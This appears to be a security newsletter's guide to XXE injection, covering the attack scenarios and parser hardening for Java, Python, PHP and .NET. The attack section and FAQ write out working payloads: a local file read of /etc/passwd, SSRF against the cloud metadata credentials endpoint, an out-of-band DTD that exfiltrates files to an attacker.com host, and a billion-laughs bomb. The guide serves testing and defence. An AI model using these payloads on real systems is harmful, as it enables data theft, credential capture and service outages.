XXE Injection: Detection, Attack Paths, and Remediation Guide

Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
XML External Entity (XXE) injection is a vulnerability class that has been in the OWASP Top 10 for over a decade because the root cause is persistent: most XML parsers are configured by default to process Document Type Definitions (DTDs), including references to external entities that fetch content from arbitrary URIs. Developers who use XML parsing without explicitly disabling this feature expose their applications to file disclosure, SSRF, and denial of service attacks.
This guide covers the complete attack surface: how XXE payloads work, the four most common exploitation scenarios (classic file read, SSRF, blind out-of-band, and billion laughs DoS), how to find vulnerable code in Java, Python, PHP, and .NET, and the specific parser configuration changes that eliminate the vulnerability across each runtime.
XXE attack payloads and exploitation scenarios
Understanding the exact structure of XXE attack payloads is essential both for testing your own applications and for writing detection rules that catch real exploit attempts in WAF logs or IDS signatures. The four scenarios below cover the full spectrum from high-visibility file reads that show up directly in HTTP responses to blind out-of-band attacks that require an external callback server to detect. Each scenario uses a different delivery mechanism and targets a different outcome, so practitioners must test for all four rather than assuming that a classic file-read test covers the full XXE attack surface. The billion laughs scenario is particularly important because it does not require external entity resolution and therefore bypasses some parser configurations that only block network access.
Classic file read: local file disclosure
The standard XXE payload defines an external entity using the file:// URI scheme and references it in the XML body. Example: <?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>. When the parser processes this document, it replaces &xxe; with the contents of /etc/passwd. If the application returns any part of the parsed XML in its response (error messages, data echoing, or full response body), the file content appears in the HTTP response. Target files include /etc/passwd, /etc/shadow (if running as root), ~/.ssh/id_rsa, application config files containing database credentials, and cloud instance metadata.
SSRF via XXE: internal network access
XXE using the http:// URI scheme causes the XML parser to make an HTTP request to an internal URL. Example: <!ENTITY xxe SYSTEM 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'>. On AWS EC2 instances, this fetches IAM role credentials from the instance metadata service. On other cloud providers, similar metadata endpoints exist. This technique accesses internal admin interfaces, internal APIs not reachable from the internet, and cloud provider metadata services. The HTTP response content is embedded in the parsed XML and returned (in classic XXE) or sent out-of-band (in blind XXE).
Blind XXE: out-of-band data exfiltration
When the application does not return parsed XML content in the response, blind XXE uses a two-stage approach. Stage 1: deliver a payload that causes the server to load a remote DTD from an attacker-controlled server. The remote DTD defines an entity that reads a local file and sends it to the attacker via HTTP or DNS. Stage 2: receive the exfiltrated data at the attacker's server. Example remote DTD: <!ENTITY % file SYSTEM 'file:///etc/passwd'><!ENTITY % eval '<!ENTITY % exfil SYSTEM "http://attacker.com/?x=%file;">'>%eval;%exfil;. Tools: Burp Collaborator and interactsh both receive these out-of-band callbacks.
Billion laughs: denial of service
The billion laughs attack (also called XML bomb) uses nested entity references that expand exponentially in memory. Example: <!DOCTYPE lolz [<!ENTITY lol 'lol'><!ENTITY lol2 '&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;'><!ENTITY lol3 '&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;'>]><lolz>&lol3;</lolz>. Each entity expands 10x, so a small document generates gigabytes of data in memory. This does not require external entity resolution and affects parsers that prevent external entities but still process internal entity expansion. Fix: set parser expansion limits (javax.xml.parsers.DocumentBuilderFactory resource limits, or use defusedxml in Python which blocks this by default).
Fixing XXE by platform
Java exposes six separate XML parsing APIs that each require individual hardening, and missing even one leaves an exploitable attack surface in your codebase. Python's standard library XML modules are insecure by default and the correct fix is a library replacement rather than a configuration flag. PHP behavior changed significantly between versions 7 and 8, so the remediation steps depend on the runtime version in production. .NET's XmlReader is the foundation for most higher-level parsing, meaning a single correct settings object applied at reader creation time protects all downstream consumers. Work through each platform section that applies to your stack and apply the exact API calls shown; generic advice to 'disable DTD processing' without the platform-specific method names leaves ambiguity that frequently results in incomplete remediation.
Java: secure configuration for all XML factories
Java has multiple XML parsing APIs, each requiring separate configuration. DocumentBuilderFactory (DOM): DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false). SAXParser: factory.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). XMLInputFactory (StAX): xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE); xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE). TransformerFactory (XSLT): transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ''); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ''). Apply these configurations at factory initialization, not per-parse.
Python: use defusedxml instead of the standard library
Python's standard xml.etree.ElementTree, xml.dom.minidom, and xml.sax modules do not protect against XXE by default. The defusedxml library wraps these with safe defaults that disable external entity processing, DTDs, and entity expansion. Replace: import xml.etree.ElementTree as ET with import defusedxml.ElementTree as ET. The API is identical to the standard library. For lxml: use lxml.etree.XMLParser(resolve_entities=False, no_network=True) and pass the parser to lxml.etree.parse(). Do not use lxml with untrusted data and default parser settings.
PHP: LIBXML_NOENT and disable_entity_loader
PHP's libxml-based functions use the LIBXML_NOENT flag to control entity substitution. Never pass LIBXML_NOENT as an option to simplexml_load_string(), DOMDocument::loadXML(), or similar functions, as this enables entity substitution. For PHP 8.0+, external entity loading is disabled by default. For PHP 7.x: call libxml_disable_entity_loader(true) before any XML parsing operation and restore it after. For DOMDocument: $dom = new DOMDocument(); libxml_disable_entity_loader(true); $dom->loadXML($xml, LIBXML_NONET). The LIBXML_NONET flag prevents network access even if entity loading is not fully disabled.
.NET: DtdProcessing.Prohibit for all XML readers
.NET's XmlReader is the foundation for most XML parsing. Secure configuration: XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings). For XmlDocument: XmlDocument doc = new XmlDocument(); doc.XmlResolver = null; (setting XmlResolver to null prevents external resource resolution). For XDocument (LINQ to XML): XDocument.Load() is safe by default in .NET 6+ because XmlReaderSettings.DtdProcessing defaults to Prohibit. Verify the .NET version in use and apply explicit settings regardless to ensure consistent behavior across framework upgrades.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
The bottom line
XXE injection is almost entirely a configuration problem: XML parsers ship with external entity processing enabled by default, and applications that do not explicitly disable it are vulnerable. The fix is deterministic: apply the platform-specific parser configuration shown above to every XML parsing call that accepts external data, use defusedxml in Python by default, and scan for SVG and document upload endpoints that process embedded XML. Run a DAST scan against every endpoint that accepts XML (including hidden XML surfaces behind Content-Type: application/xml) using XXE payloads with out-of-band callbacks to identify vulnerabilities that return no visible error. Disabling DTD processing eliminates the vulnerability class rather than working around it.
Frequently asked questions
What is XXE injection and how does it work?
XXE injection exploits XML parsers that process Document Type Definitions (DTDs) containing external entity references. An external entity is an XML construct that instructs the parser to fetch content from a URI and substitute it into the document. When an attacker can supply XML with a crafted DTD, they can define an entity that references file:///etc/passwd (local file read) or http://internal-service/ (SSRF). The parser fetches the referenced resource and includes its content in the parsed document, which the application may return in the response.
What can an attacker achieve with XXE?
File disclosure: reading any file the XML parser process can access, including /etc/passwd, SSH private keys, application source code, and configuration files containing database credentials. SSRF: making the server-side parser fetch internal URLs, enabling access to metadata endpoints (AWS IMDS at 169.254.169.254), internal admin panels, and cloud provider APIs not exposed externally. Denial of service: the 'billion laughs' attack creates recursive entity references that exponentially expand in memory, exhausting parser resources. In specific configurations with older parsers, XXE can lead to remote code execution via XSLT or SVG processing.
How do I detect XXE vulnerabilities in code?
Search for XML parsing without explicit external entity disabling. Java: grep for DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, and TransformerFactory instances that do not call setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). Python: grep for lxml.etree.parse(), xml.etree.ElementTree, and defusedxml usage (defusedxml is safe, the built-in modules are not by default). PHP: search for simplexml_load_string(), DOMDocument::loadXML(), and XMLReader::open() without LIBXML_NOENT disabled. .NET: search for XmlReaderSettings without DtdProcessing = DtdProcessing.Prohibit.
What is blind XXE and how is it exploited?
Blind XXE occurs when the application processes the XXE payload but does not return the entity content in the HTTP response. Exploitation uses out-of-band channels: an external entity that fetches a URL you control (http://attacker.com/?data=CONTENT) causes the server to make an HTTP request to your server with the file content as a query parameter. DNS-based XXE embeds the file content in a DNS lookup to an attacker-controlled domain (CONTENT.attacker.com), which appears in DNS logs. Burp Collaborator and interactsh are the standard tools for detecting out-of-band XXE callbacks.
How do I fix XXE in Java?
Disable DTD processing entirely on every XML factory before parsing. For DocumentBuilderFactory: factory.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). For SAXParserFactory: factory.setFeature('http://apache.org/xml/features/disallow-doctype-decl', true). For XMLInputFactory (StAX): factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false) and factory.setProperty(XMLInputFactory.SUPPORT_DTD, false). Disabling the DOCTYPE declaration is the most effective control because it prevents the attacker from defining any entities at all. Alternatively, use a secure XML parsing wrapper library that applies these settings by default.
Are JSON APIs also vulnerable to XXE?
JSON-only APIs are not vulnerable to XXE. However, many APIs accept both JSON and XML (determined by the Content-Type header), and developers who test only with JSON clients may not realize the XML endpoint exists or is vulnerable. Attackers can try switching the Content-Type header to application/xml and submitting an XML payload to trigger XXE. Test all API endpoints for XML acceptance by sending application/xml content regardless of the documented API format. Also check for hidden XML surfaces: file uploads (SVG, DOCX, XLSX, and PDF files contain embedded XML), SOAP endpoints, and XML-based configuration APIs.
What is the difference between XXE and SSRF?
XXE is a specific exploitation technique that uses XML external entity references to initiate server-side requests. SSRF (Server-Side Request Forgery) is the broader vulnerability class where an attacker causes the server to make HTTP or other protocol requests to internal destinations. XXE is one vector for achieving SSRF: the external entity URL can target internal services. SSRF also occurs through other mechanisms (URL parameters passed to HTTP client functions, webhook URLs, redirect chains). XXE that fetches internal URLs is both an XXE vulnerability and an SSRF vulnerability simultaneously.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.

Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.
